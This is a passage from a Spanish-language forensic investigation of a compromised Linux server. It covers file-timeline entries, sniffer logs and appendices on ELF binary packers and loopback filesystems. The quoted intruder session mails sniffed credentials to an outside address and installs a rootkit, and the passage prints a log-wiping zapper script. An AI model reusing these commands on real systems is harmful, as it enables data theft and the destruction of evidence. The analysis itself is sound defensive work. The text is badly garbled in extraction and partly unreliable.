4434 a -rw-r--r-- root root xusrincludegnutypesh

7917 a -rw-r--r-- root root xusrincludelibioh380 a -rw-r--r-- root root xusrincludeposix_opth

4419 a -rw-r--r-- root root xusrincludesignalh15134 a -rw-r--r-- root root xusrincludestdlibh

7537 a -rw-r--r-- root root xusrincludestringh3909 a -rw-r--r-- root root xusrincludesyscdefsh

4538 a -rw-r--r-- root root xusrincludesyssocketh

321 a -rw-r--r-- root root xusrincludesystypesh

25129 a -rw-r--r-- root root xusrincludeunistdh8841 a -r--r--r-- root root xusrlibgcc-libi486-linux270includestddefh

1029 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386typesh

6298 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxerrnoh

2065 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsignalh

34

2794 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsocketh

3846 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxsockiosh

2621 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtypesh

Sep 13 01 100148 3668 a -rw-r--r-- root root xusrincludearpaineth

734 a -rw-r--r-- root root xusrincludebytesexh1555 a -rw-r--r-- root root xusrincludeendianh3248 a -rw-r--r-- root root xusrincludelimitsh6390 a -rw-r--r-- root root xusrincludenetdbh2663 a -rw-r--r-- root root xusrincludenetinetinh

3562 a -rw-r--r-- root root xusrincludepathsh2643 a -rw-r--r-- root root xusrincludeposix1_limh

2680 a -rw-r--r-- root root xusrincludeposix2_limh

3777 a -rw-r--r-- root root xusrincludesysbitypesh

709 a -rw-r--r-- root root xusrincludesysparamh

2315 a -rw-r--r-- root root xusrincludesystimeh

5273 a -rw-r--r-- root root xusrincludesyswaith

2852 a -rw-r--r-- root root xusrincludetimeh1156 a -rw-r--r-- root root xusrincludewaitflagsh

3724 a -rw-r--r-- root root xusrincludewaitstatush

1418196 a -rwxr-xr-x root root xusrlibgcc-libi486-linux270cc1

3049 a -rw-r--r-- root root xusrlibgcc-libi486-linux270includelimitsh

330 a -r--r--r-- root root xusrlibgcc-libi486-linux270includesyslimitsh

2101 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386byteorderh

266 a -rw-r--r-- root root xusrsrclinuxelf-1213includeasm-i386paramh

3965 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxinh

720 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxlimitsh

35

78 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxparamh

1146 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxtimeh

313 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxversionh

698 a -rw-r--r-- root root xusrsrclinuxelf-1213includelinuxwaith

Sep 13 01 100157 117668 a -rwxr-xr-x root bin xusrbinasSep 13 01 100158 145695 a -rwxr-xr-x root bin xusrbinldSep 13 01 100159 1088 a -rw-r--r-- root root xusrlibcrt1o

1216 a -rw-r--r-- root root xusrlibcrtbegino1212 a -rw-r--r-- root root xusrlibcrtendo

624 a -rw-r--r-- root root xusrlibcrtio396 a -rw-r--r-- root root xusrlibcrtno

204146 a -rw-r--r-- root root xusrlibgcc-libi486-linux270libgcca

El diacutea 14 se ejecuta un cliente de ftp ncftp

Sep 14 01 004250 146881 a -rwxr-xr-x root bin xusrbinncftp

Los iacutendices de acceso del sistema cromanionwashingtonedu (aka cromanion) muestran un login al siste-ma quakerwashingtonedu (aka quaker) a las 1403 del horario EST o +0300 horas maacutes de PST) lo quedescribe las conexiones de las maacutequinas lotherdalewashingtonedu XXXXXXXXXXXXXwashingtonedu yXXXXXXXXXXXXwashingtonedu

XXX ftp XXXXXXXXXXXXXXX Sat Sep 14 0346 - 0408 (0021)XXX ftp XXXXXXXwashingt Sat Sep 14 0346 - 0346 (0000)XXX ftp XXXXXXXXXXXXXX Sat Sep 14 0338 - 0340 (0002)XXX ftp XXXXXXXXXXXXXwa Sat Sep 14 0337 - 0339 (0002)XXX ftp XXXXXXXXXXXXwas Sat Sep 14 0319 - 0320 (0000)

Hay solo una ocurrencia de utilizacioacuten del comando ncftp registrada por el sniffer el diacutea 14 del Sep (liacutenea 347 entcplog) Tambieacuten podemos encontrar huellas de otra conexioacuten del XXXXXXXXXXXX

XXXXXXXXXXXXXwashingtonedu =gt XXXXXXXwashingtonedu [23]rsquoW$ 3840038400vt100bdoor

passwordw

36

su r00tcd etvccd lscat etc tcplog | mail hackeraccounthotmailcomcat etc tcplog | mail hackeraccounthotmailcomncftp -u lscp tcplog 1lsncftp -y XXXXXX[A[D[D[D[D[D[D[D[Du

----- [Timed Out]

El log de la sesioacuten anterior muestra que el fichero log del sniffer ha sido enviado a una direccioacuten de correo electroacutenicoDespueacutes de cuatro horas alguien emite un comando whoami y luego antildeade y elimina algunos ficheros dentro deldirectorio oculto

Sep 14 01 040742 3797 a -rwxr-xr-x root bin xusrbinwhoamiSep 14 01 040818 1024 mc drwxr-xr-x root root xetc___

El diacutea 14 del Sep se ejecuta el binario inidentd Este servicio sirve para asociar el nombre de usuario con un intentode conexioacuten a un servicio remoto Esta aplicacioacuten se utiliza por algunas redes de IRC Puede significar que alguienrealizoacute una conexioacuten a un servidor IRC desde la maacutequina comprometida

Tambieacuten tuvieron lugar varias conexiones al servidor POP de correo inpop3d al servicio Berkeley r inrlogindy una conexioacuten al servicio NFS rpcmountd Una vez establecida la conexioacuten se ejecutoacute el comando id (este es unvestigio de un exloit ADM mountd buffer overrun)

El exploit suele crear un shell iniciado a partir del UID del servicio NFS mountd que suele ser UID=0 El intrusoaprovechando del shell crea un directorio vartmpXXXXX y instala varias puertas traseras utilidades para limpiarlos ficheros log y un sniffer Modificacioacuten de algunos ficheros log indican que a la hora de entrada se ejecutaron lasutilidades de eliminacioacuten de huellas (zapper) que restablecieron el tamantildeo del fichero log a 0 bytes

Sep 14 01 202514 13004 a -rwxr-xr-x root bin xusrsbininidentdSep 14 01 222452 15029 a -rwxr-xr-x root bin xusrsbininpop3dSep 15 01 022224 23421 a -rwxr-xr-x root root xusrsbininrlogindSep 15 01 022307 25217 a -rwxr-xr-- root bin xusrsbinrpcmountdSep 15 01 022308 7705 a -rwxr-xr-x root bin xusrbinidSepX 15 01 022422 28550 mac -rwxr-xr-x root root xvartmpXXXXXprogramsfix

37

13508 a -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

Sep 15 01 022423 13508 mc -rwxr-xr-x root root xvartmpXXXXXprogramsloginbak

1375 mac -rwxr-xr-x root root xvartmpXXXXXprogramsreadme

Sep 15 01 022439 26314 mc -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 mc -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022441 26314 a -rwxr-xr-x root root xvartmpXXXXXprogramsbindshell

27942 a -rwxr-xr-x root root xvartmpXXXXXprogramslinsniffer

Sep 15 01 022443 1126 mc -rwxr-xr-x root root xvartmpXXXXXprogramsclean

XX mac -rwxr-xr-x root root xvartmpXXXXXprogramsimapdis

Sep 15 01 022459 4665 a -rwxr-xr-x root bin xusrbinbasenameSep 15 01 022503 0 mac -rw-r--r-- root root xvarlogcronSep 15 01 022504 0 ma crw-rw-rw- root root xdevttyp3Sep 15 01 022506 0 a -rw-r--r-- root root xvarlogdebugSep 15 01 022508 0 a -rw-r--r-- root root xvarloglastlogSep 15 01 022512 2699 a -rw-r--r-- root root xvarlogsyslogSep 15 01 022515 131968 a -rwxr-xr-x root bin xusrbingawk

5941 a -rwxr-xr-x root bin xusrbinwc0 a -rw-r--r-- root root xvarlogxferlog

1024 mc drwxr-xr-x root root xvartmpXXXXX1126 a -rwxr-xr-x root root xvartmpXXXXXprogramsclean

Sep 15 01 022554 2802 mc -rwxr-xr-x root root xetcrcdrcinet2Sep 15 01 022613 12288 mc -rw-rw-r-- root root xetcpsdevtabSep 15 XX 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPSSep 15 01 022837 0 a crw-rw-rw- root root xdevptyp2Sep 15 01 022838 0 mc crw-rw-rw- root root xdevptyp2

0 mac crw-rw-rw- root root xdevttyp2Sep 15 01 022958 0 mc -rw-r--r-- root root xvarloglastlogSep 15 01 023006 0 mc -rw-r--r-- root root xvarlogxferlogSep 15 01 023103 66973 a -rwxr-xr-x root bin xbintelnetSep 15 01 023501 1024 mc drwxr-xr-x root root xvarlog

0 mac -rw-r--r-- root root xvarlogsulogSep 15 01 023516 0 mc -rw-r--r-- root root xvarlogdebug

38

Sep 15 01 023551 0 ma crw-rw-rw- root root xdevptyp3Sep 15 01 023552 0 c crw-rw-rw- root root xdevptyp3

0 c crw-rw-rw- root root xdevttyp3Sep 15 01 032157 1649 m -rw-r--r-- root root xetcpasswdOLDSep 15 01 032224 7317 a -rwxr-xr-x root bin xbinkillallSep 15 01 032240 58605 a -rwxr-xr-x root bin xbinps

25 a -rw-r--r-- root root xdevXXXXXXXXPS

La siguiente actividad aparece en la liacutenea 471 en tcplog (el fichero log del sniffer entre 14 Sep 0346 de la liacutenea 348y 17 Sep 2013 desde la fecha de uacuteltima modificacioacuten del fichero)

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [143]

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXXlinux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootXXXX-linux38400----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [513]rootr00tlinux38400t----- [FIN]

IIIIIIIIIIXXXXXXXXXXXX =gt XXXXXXXwashingtonedu [23]rsquoP$ 3840038400linuxXXXXX

XXX

39

r00tfingercd vartmpls -alrm -rf bashftp XXXXXXXXXXXXanonymousassget XXXXtgzquituittar zxvf XXXXtgzchmod +x INSTALLls -al

----- [Timed Out]

IIIIIIIIIIXXXXXXXXXXXX =gt GGGGGGGXXXXXXXXXXXXX [23]rsquoP$ 3840038400linuxr00t

pico etcrcdircinetd2rpcmomomomountd[A11mountd[A2pmountd[A[A[C[C[C[C[C[C[C[C[C[C[C[C[C[C[C[B[C[C [B[D[D[B[D[B[D ypico etcinetdconf[6~[6~killall -HUP inetdcat etcinetdconfps auxkill -9 cd devmkdir XXXXXXXXcd XXXXXXXXpico LSXXXXXXXXXXXXXypico PS3 bindshell3 linsnifferyps auxkill -9 2541f

40

----- [Timed Out]

Eso muestra que el intruso estaba editando el fichero de configuracioacuten del rootkit referente al modus operandi de lautilidad ls (llamado LS) para esconder ficherosdirectorios con cadenas XXXXXX yo JJJJJJJJ en sus nombresTambieacuten ha modificado el fichero de configuracioacuten del rootkit para la utilidad ps (llamado PS) para esconder procesosbindshell y linsniffer en sus nombres

La letra y que aparece en las cadenas XXXXXXy y linsniffery son huellas del usuario que nos informan que hasido utilizado el editor pico El comando para guardar las modificaciones en los ficheros y salir en pico es Ctrl-X Siel fichero ha sido modificado de alguna forma el siguiente texto aparece

Save modified buffer (ANSWERING No WILL DESTROY CHANGES)

El usuario entonces debe teclear la letra y para guardar el fichero y salir El sniffer no captura el mensaje delsistema pero siacute el y Las entradas log del sniffer aquiacute muestran que se creoacute el directorio XXXXXXXX doacutende fueroninsertados los ficheros de configuracioacuten del rootkit y editados en siguiente orden Podemos observarlo en el listado demactime posiblemente atando este evento al diacutea 15 del XXX a las 0226

Sep 15 01 022626 7416 a -rwxr-xr-x root bin xbinmkdirSep 15 01 022633 15 mc -rw-r--r-- root root xdevXXXXXXXXLSSep 15 01 022640 1024 mc drwxr-xr-x root root xdevXXXXXXXX

25 mc -rw-r--r-- root root xdevXXXXXXXXPS

El diacutea 16 del Sep alguien crea una copia de seguridad del log del sniffer (snifferlogsave) movieacutendolo al directoriovartmpXXXXprograms Este fichero muestra los intentos de entrada de otros intrusos que tambieacuten acceden alfichero tcplog

Sep 16 01 215534 36088 a -rwxr-xr-x root bin xbinnetstatSep 16 01 215827 1024 mc drwxrwxrwx root root xvartmpSep 16 01 215852 6 a -rw-r--r-- root root xroottemptxtSep 16 01 225033 1024 a drwxr-xr-x root root xvartmpXXXXXSep 16 01 225102 6644 a -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 16 01 225716 1024 a drwxr-xr-x root root xvartmpXXXXXprograms

Sep 16 01 233951 1024 mc drwxr-xr-x root root xvartmpXXXXXprograms

4992 mac -rw-r--r-- root root xvartmpXXXXXprogramssnifferlogsave

41

El fichero roottemptxt contiene la uacutenica palabra blah en la liacutenea y una liacutenea en blanco Actualmente no se conocepara que sirvioacute el fichero El diacutea 17 del XXX se modifica la contrasentildea de alguacuten usuario se crea un fichero de copiade seguridad

Sep 17 01 124450 153384 a -rws--x--x root bin xusrbinpasswdSep 17 01 124505 1649 mc -rw-r--r-- root root xetcpasswd

1649 c -rw-r--r-- root root xetcpasswdOLD

A continuacioacuten el diacutea 17 del Sep alguien accede al servidor a traveacutes de telnet Por lo visto se obtiene el UIDdel usuario lp Modificaciones en devconsole indican que ocurrioacute tambieacuten una entrada de usuario en la consolafiacutesica Fechas de modificacioacuten han sido cambiadas en la aplicacioacuten de los logs del sniffer etc__tcplog y tambieacutenvartmpXXXXXprogramssnifferlog que significa que las aplicaciones han sido desactivadas

Sep 17 01 201344 296 a -rw-r--r-- root root xetchostsdeny40907 a -rwxr-xr-x root bin xusrsbintcpd

Sep 17 01 201345 40685 a -rwxr-xr-x root bin xusrsbinintelnetd25 mc -rw-rw-r-- root root xvarspoollp1status

Sep 17 01 201346 0 m crw-rw-rw- root root xdevconsole0 a crw-rw-rw- root root xdevptyp00 m crw-rw-rw- root root xdevttyp0

18476 mc -rw-r--r-- root root xetc___tcplog6644 mc -rw-r--r-- root root xvartmpXXXXXprogramssnifferlog

Sep 17 01 201350 0 c crw-rw-rw- root root xdevconsole0 c crw-rw-rw- root root xdevptyp00 c crw-rw-rw- root root xdevttyp0

El diacutea 18 de Sep se ejecuta la aplicacioacuten sendmail Las huellas en el sistema de ficheros nos muestran queposiblemente se envioacute a una direccioacuten de correo electroacutenico el fichero log del sniffer tcplog

Sep 18 01 053026 164060 a -r-sr-Sr-x root bin xusrsbinsendmail

Aparte de analizar el sistema de ficheros con detenimiento se han recuperado todos los ficheros eliminados utilizandola utilidad unrm de TCT Una examen de los ficheros recuperados mostroacute eliminacioacuten de algunos ficheros log yscripts El siguiente es una parte del script de instalacioacutenlimpieza que estaacute incluido con el rootkit

cp vartmpimap-d vartmpXXXXXprogramsimapdisrm -rf vartmpimap-decho 6 cleaning logs

42

cd vartmpXXXXXcp vartmpclean vartmpXXXXXprogramscleanrm -rf vartmpcleanvartmpXXXXXprogramsclean XXXXXXX 1gtdevnull 2gtdevnullvartmpXXXXXprogramsclean XXXXXX 1gtdevnull 2devnullvartmpXXXXXprogramsclean XXXX 1gtdevnull 2gtdevnullecho rootkit completeecho rember to disable imapdecho EOF

El siguiente es una parte del fichero log que muestra intentos de conexioacuten de intrusos

Sep 11 152611 XXXX infingerd[864] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX intelnetd[865] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152611 XXXX telnetd[865] ttloop peer died Try againSep 11 152612 XXXX inpop3d[866] connect from XXX-XXX-14XXXXXXXXXXXXSep 11 152613 XXXX intelnetd[867] connect from XXX-XXX-14XXXXXXXXXXXX

Sep 12 053620 XXXX intelnetd[1126] connect from DDDDDDXXXXXXXXX

Sep 12 110152 XXXX intelnetd[1213] connect from EEEEEEEXXXXXXSep 12 110221 XXXX su XXXXX on devttyp1

Sep 12 110428 XXXX inrlogind[1229] connect from CCCCCCCCXXXXXXXXXXXSep 12 110444 XXXX inrlogind[1230] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 110857 XXXX su XXXXX on devttyp1Sep 12 111119 XXXX su XXXXX on devttyp1

Sep 12 113305 XXXX intelnetd[1290] connect from AAAAAAXXXXXXXXXSep 12 113316 XXXX login 1 LOGIN FAILURE FROM AAAAAAXXXXXXXXX XXXSep 12 113321 XXXX login 2 LOGIN FAILURES FROM AAAAAAXXXXXXXXX XXX

Sep 12 113402 XXXX su XXXXX on devttyp1Sep 12 114152 XXXX wuftpd[1327] connect from BBBBBBBXXXXXXXXXSep 12 114157 XXXX ftpd[1327] USER XXXXXSep 12 114159 XXXX ftpd[1327] PASS passwordSep 12 114200 XXXX ftpd[1327] SYSTSep 12 114201 XXXX ftpd[1327] CWD tmpSep 12 114206 XXXX ftpd[1327] TYPE ImageSep 12 114206 XXXX ftpd[1327] PORTSep 12 114206 XXXX ftpd[1327] STOR mountdSep 12 114208 XXXX ftpd[1327] QUITSep 12 114208 XXXX ftpd[1327] FTP session closedSep 12 120025 XXXX intelnetd[1342] connect from AAAAAAXXXXXXXXX

43

Sep 12 120025 XXXX telnetd[1342] ttloop peer died Try again

Sep 12 125437 XXXX inrlogind[1358] connect from CCCCCCCCXXXXXXXXXXX

Sep 12 195330 XXXX intelnetd[1459] connect from XXXX-XX-118XXXXXXXXXXXX

Sep 12 234732 XXXX intelnetd[1525] connect from XXXXXXXXXXXXXXXXXXXXXXXSep 12 234741 XXXX login 1 LOGIN FAILURE FROM XXXXXXXXXXXXXXXXXXXXXXX XXXXXSep 12 234855 XXXX su XXXXX on devconsoleSep 13 001238 XXXX intelnetd[1569] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 001254 XXXX su XXXXX on devconsole

Sep 13 064612 XXXX intelnetd[1673] connect from XXXXXXXXXXSep 13 070801 XXXX intelnetd[1679] connect from GGGGGGGXXXXXXXXXXXXXXXXXSep 13 070814 XXXX su XXXXX on devconsole

Sep 13 083005 XXXX intelnetd[1728] connect from FFFFFFFXXXXXXXXXXXXXXXXXSep 13 083022 XXXX intelnetd[1731] connect from HHHHHHXXXXXXXXXXXXXXXXXXSep 13 083234 XXXX intelnetd[1733] connect from FFFFFFFXXXXXXXXXXXXXXXXX

Sep 13 095842 XXXX su XXXXX on devconsole

El siguiente ejemplo es un extracto de script zapper que elimina las huellas dejadas por el intruso o restablece eltamantildeo de los ficheros log a 0 bytes No se sabe si existe una copia de este script en el sistema de ficheros activo

1 binbash

WHAT=$(binls -F varlog | grep -v | grep -v | grep -v tgz | grep -v gz | grep -v tar | grep -v )

for file in $WHATline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)echo -n Cleaning $file ($line lines)grep -v $1 varlog$file gt newmv -f new varlog$filenewline=$(wc -l varlog$file | awk -F rsquo rsquo rsquoprint $1rsquo)let linedel=$(($line-$newline))echo $linedel lines removed

doneecho

44

Los siguientes cadenas de texto pertenecen al fichero wtmp (leiacutedo por la utilidad last) Las horas no son obvias aquiacutepero los nombres de hosts siacute lo son

ftp4264ttyp13XXXXXXXXXXXXXXXXXttyp1Pftp46263XXXXXXXXXXXXXXXXXttyp13XXXXXXXXXXXXXXXXXftp4626ttyp1Pftp46393XXXXXXXXXXXXXXXXXXPftp4639Pftp46533XXXXXXXXXXXXXXXXXXftp4653Pftp47433XXXXXXXXXXXXXXXXXXXXX

11 Apeacutendice A - Meacutetodos de Proteccioacuten de Binarios

111 Introduccioacuten

Los sistemas operativos UnixLinux BSD se consideran por los especialistas como avanzados seguros y establesdebido a su disentildeo de arquitectura y gestioacuten de procesos

Las distribuciones actuales tienen soporte para varios tipos de ejecutables como AOUT (formato original de Unix)COFF (Unix System V) ECOFF (MipsAlfpha) XCOFF (IBM RS6000 AIX) y finalmente ELF (el sucesor de COFFque ofrece muacuteltiples secciones y valores posibles de 32 o 64 bits) Mientras que los sistemas operativos win32 tienenMZ (dos) NE (Windows 3xx) y PE (Win9xNT)

La popularidad y el enfoque comercial de sistemas win32 obligoacute a las empresas desarrolladoras de software invertirfondos y horas en proteccioacuten de sus aplicaciones para evitar obligar a los usuarios comprar el software Desde el

45

principio los especialistas en ingenieriacutea inversa conseguiacutean por placer o por negocio evitar los meacutetodos de proteccioacutende los ejecutables que bajo win32 ya entonces teniacutean muacuteltiples teacutecnicas de proteccioacuten En actualidad un ficheroejecutable bajo Windows (PE) puede estar perfectamente cifrado empaquetado ofuscado y wrappeado al visa versa ala hora de ejecucioacuten lo que muestra la evolucioacuten de un binario simple haciacutea un ejecutable propiamente protegido loque proporciona la seguridad a la empresa desarrolladora que su software no podraacute ser utilizado de forma ilegal porlo menos por el puacuteblico general

Y lo uacutenico (que generalmente se conoce) que podemos hacer actualmente con un binario ELF es quitarle la tabla desiacutembolos o en otras palabras strippearlo que que no ofrece ninguacuten tipo de proteccioacuten

Existen pocas herramientas de proteccioacuten son experimentales y se conocenutilizan solo por los hackers de nivel altomedio-alto A la hora de realizar un anaacutelisis forense nos encontraremos con binarios que el intruso ha ido dejandoen el sistema y necesitariacuteamos saber las funciones de cada uno de ellos teniendo en cuenta que ejecucioacuten de binariosdesconocidos puede provocar un desastre si no estamos seguros de la funcioacuten de los mismos

112 Meacutetodos de Proteccioacuten

En las investigaciones rutinarias de casos de defacements de paacuteginas web o de utilizacioacuten de la maacutequina compro-metida como cluster DDoS no es frecuente encontrar binarios protegidos ya que la mayoriacutea de herramientas estaacutencirculando por la red de forma abierta Mientras que en los compromisos de sistemas importantes como de Ban-cos Liacuteneas Aeacutereas o Universidades el nivel de intruso es tecnoloacutegicamente y intelectualmente superior por lo tantotambieacuten lo son sus herramientas Hasta que no sepamos el propoacutesito de cada uno de las herramientas del intruso nopodremos concluir la investigacioacuten con eacutexito

Podemos encontrar siguientes meacutetodos de proteccioacuten de binarios en este caso seguacuten el nivel del atacante y tipo deherramienta utilizada Puede que se utilicen de forma individual o de forma combinada para complicar el trabajo delinvestigador

bull UPX [3] - Ultimate Packer for eXecutables los intrusos con un nivel de conocimientos bajo o medio utilizancompresor de ejecutables UPX como una herramienta de proteccioacuten de sus aplicaciones Este software tienesoporte para reducir el tamantildeo de binarios de tipo dosexe doscom dossys djgpp2coff watcomle elf y etc atraveacutes de las funciones de la libreriacutea UCL escrita en ANSI C por lo tanto ofuscando su contenido a nivel superficial

Si observamos el output del comando strings vemos que es faacutecilmente detectable por la cadena de texto $Id UPX122 Copyright (C) 1996-2002 the UPX Team All Rights Reserved $ en caso de que UPX no ha sido modificadoEn otros casos cuando el intruso puso su empentildeo en modificar la fuentes de UPX para confundir (aun mas) aladministrador el binario sigue perfectamente reconocible observando las cadenas tmpupxAAAAAAAAAAAprof etc en el fichero Para desempaquetar el binario debemos instalarnos UPX y ejecutar el siguientecomando

46

[ervinactivalinkcom ervin]$ upx -d ltfichero empaquetadogt

bull BurnEye [4] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-altoque conocen la estructura de binarios ELF BurnEye ofrece 3 niveles de proteccioacuten de binarios ELF por capasofuscacioacuten de coacutedigo cifrado de aplicacioacuten a traveacutes de contrasentildea y teacutecnica de OS fingerprinting

Nivel 1 El primer nivel de proteccioacuten realiza un cifrado del binario y utiliza la teacutecnica de inyeccioacuten de coacutedigodentro del binario ELF El coacutedigo es un motor de descifrado que a la hora de ejecutar el programa v

descifra su contenido y lo ejecuta Podemos detectar si el binario estaacute protegido con el primer nivel de BurnEye si su output de strings contiene la cadena TEEE burneye - TESO ELF Encryption Engine En caso de que el intruso haya modificado las fuentes de BurnEye y no se observe la cadena de texto en el output se puede detectar ese nivel de proteccioacuten a traveacutes de GDB Esa proteccioacuten implementa ademaacutes una trampa para debuggers que utilizan llamada de sistema ptrace()

[ervinactivalinkcom dev]$ gdb ltbinario encriptado con burneye nivel 1gt GNU gdb 52 Copyright 2002 Free Software Foundation Inc [] This GDB was configured as i686-pc-linux-gnu(no debugging symbols found) (gdb) r Starting program devvalidate_MoD warning shared library handler failed to enable breakpoint

Program received signal SIGTRAP Tracebreakpoint trap 0x053714c7 in () (gdb)

Normalmente el SIGTRAP en binarios protegidos con BurnEye suele estar situado en 0x053714c7 Ese nivel de proteccioacuten de binarios puede ser superado realizando un dump de memoria con herramienta memdump y extraccioacuten manual del motor de cifrado (Ver [5] para maacutes informacioacuten)

Nivel 2 El segundo nivel de proteccioacuten de binarios es maacutes completo que el anterior Su funcionamiento utiliza la misma teacutecnica de inyeccioacuten de coacutedigo dentro de ELF y cifrado (wrapping) Soacutelo que en este caso el motor que se inserta dentro del binario tiene capacidad de cifrar y descifrar informacioacuten realizando una comprobacioacuten por contrasentildea como clave de cifrado (SHA1) Una vez la clave ha sido aceptada el nivel de control utiliza RC4 para descifrar el binario original

Para detectar la diferencia entre el nivel 1 y nivel 2 hay que ejecutar el programa Por lo tanto hay que asegurarse que no es ni sGID sUID Si lo es hay que crear un usuario con privilegios muy limitados cambiar la pertenencia del fichero y quitarle sGID y sUID A continuacioacuten se puede intentar obtener el listado de libreriacuteas dinaacutemicas utilizadas por el binario

[ervinactivalinkcom dev]$ ldd void ldd libld-linuxso2 exited with unknown exit code (139)

Si se produce el output similar entonces queda confirmado que el binario estaacute cifrado y la uacutenica opcioacuten que tenemos es intentar ejecutarlo pero soacutelo desde la cuenta del usuario con menos privilegios por razones de seguridad

[nooneactivalinkcom dev]$ void password invalid key

Una vez ejecutado el fichero vemos que nos solicita la contrasentildea y si pulsamos Enter nos informa que la clave no es correcta Ahora estamos seguros que el fichero estaacute cifrado con BurnEye con proteccioacuten de Nivel 2 Este nivel de proteccioacuten es faacutecil de romper como el anterior seraacute necesario utilizar las teacutecnicas de debugging avanzadas y buen conocimiento de ensamblador [6] Se aconseja utilizar un debugger que no utilice llamada de sistema ptrace() para intentar saltar la proteccioacuten de binarios protegidos [7] La interaccioacuten entre el motor de cifrado con el binario original es todaviacutea deacutebil por lo tanto teoacutericamente se puede utilizar teacutecnicas de unwrapping pero si la contrasentildea ha sido elegida bien por el intruso el binario es casi indescifrable

Nivel 3 Esta capa de proteccioacuten tiene un modo de funcionamiento diferente a los niveles anteriores Este nivel asegura que el binario no pueda ser ejecutado en otro sistema que no sea el de maacutequina doacutende ha sido encontrado (utilizado) El binario incluye internamente un sello del equipo permitido Y cada vez que se ejecuta el motor de cifrado interno busca el sello de la maacutequina y si no coincide con el fingerprint almacenado dentro del algoritmo no permite la ejecucioacuten de la aplicacioacuten El sello es uacutenico en cada maacutequina que se calcula a traveacutes de un algoritmo propio desarrollado por TESO utiliza valores sysinstall procpci proccpu procmem procroute procpartitions (proc en general) para generar un uacutenico sello (fingerprint) Los binarios protegidos con eacuteste nivel de BurnEye heredan las mismas pruebas que los niveles anteriores output strings breakpoint trap etc

Si estamos estudiando el binario doy por sentado que nos encontramos en una estacioacuten de anaacutelisis y no en el equipo comprometido por lo tanto si intentamos ejecutar la aplicacioacuten protegida con este nivel de BurnEye en un entorno seguro (no sUID no sGID y como usuario con privilegios limitados) obtendremos el siguiente output

[chrootedbetaactivalinkcom chrooted] output invalid fingerprint Es casi imposible de obtener el binario original si no nos encontramos en la maacutequina con un sello reconocido por el ejecutable ya que el fichero original estaacute cifrado y se descifra con el stream cipher RC4

47

bull Elfe [8] - Este tipo de proteccioacuten se utiliza por los intrusos con nivel de conocimientos medio medio-alto queconocen la estructura de binarios ELF Elfe ofrece 1 nivel de proteccioacuten de binarios ELF a traveacutes de RC4 Atraveacutes de esta herramienta se puede especificar cual de las secciones del binario (text data rodata) se quiereproteger Esa aplicacioacuten funciona soacutelo bajo la arquitectura x86 y uacutenicamente puede proteger binarios producidospor el compilador gcc y stripeados tiene soporte para binarios linkados de forma estaacutetica asiacute como dinaacutemica

Comparando esa herramienta con las anteriores podemos decir que ofrece menor nivel de proteccioacuten que BurnEye y mayor que UPX Se puede detectar faacutecilmente que el binario estaacute cifrado con Elfe ya que el output de la utilidad strings informa en las uacuteltimas liacuteneas un texto similar

password Done Returning to program QZ^amp Tambieacuten podemos encontrar en el output cadenas de texto de las secciones que no han sido cifradas ya que Elfe se limita a cifrar soacutelo text data rodata maacuteximo y si no se especifica soacutelo la seccioacuten text Las herramientas strace objdump de la coleccioacuten de herramientas binutils nos podraacuten ser de utilidad Si se ejecuta la aplicacioacuten sin saber la contrasentildea correcta la aplicacioacuten puede colgarse o producir SIGSEGV Segmentation Fault

Aunque el meacutetodo de proteccioacuten no implementa deteccioacuten de debuggers el nivel de dificultad de descifrado de binarios protegidos con Elfe es similar al 2ordm y 3ordm nivel de BurnEye (Para maacutes informacioacuten ver [9])

Hemos podido observar que las utilidades como BurnEye y Elfe tienen una mayor capacidad de ocultacioacuten delpropoacutesito del binario Si el intruso ha utilizado estas herramientas de forma correcta y precabida seriacutea casi imposiblede saber el objetivo del fichero El decifrado es posible pero complejo que necesita conocimientos avanzados deingenieriacutea inversa y anaacutelisis criptograacutefico

12 Apeacutendice B - Sistema de Ficheros Loopback de LinuxEl kernel de Linux tiene soporte vara muacuteltiples sistemas de fichero (ver man mount) tales como adfs affs autofscoda coherent devpts efs ext ext2 hfs hpfs iso9660 minix msdos ncpfs nfs ntfs proc qnx4 romfs smbfs sysvudf ufs umsdos vfat xenix xiafs

Los sistemas de ficheros coherent sysv y xenix son ideacutenticos y en el futuro no se mencionaraacuten los tres sino se limitaraacutea utilizar el nombre sysv

El soporte de una variedad de sistemas de ficheros por el kernel de GNULinux nos ofrece una buena plataformade anaacutelisis ya que no tendremos que cambiar ni de maacutequina ni de sistema operativo para estudiar un sistemacomprometido que no sea GNULinux

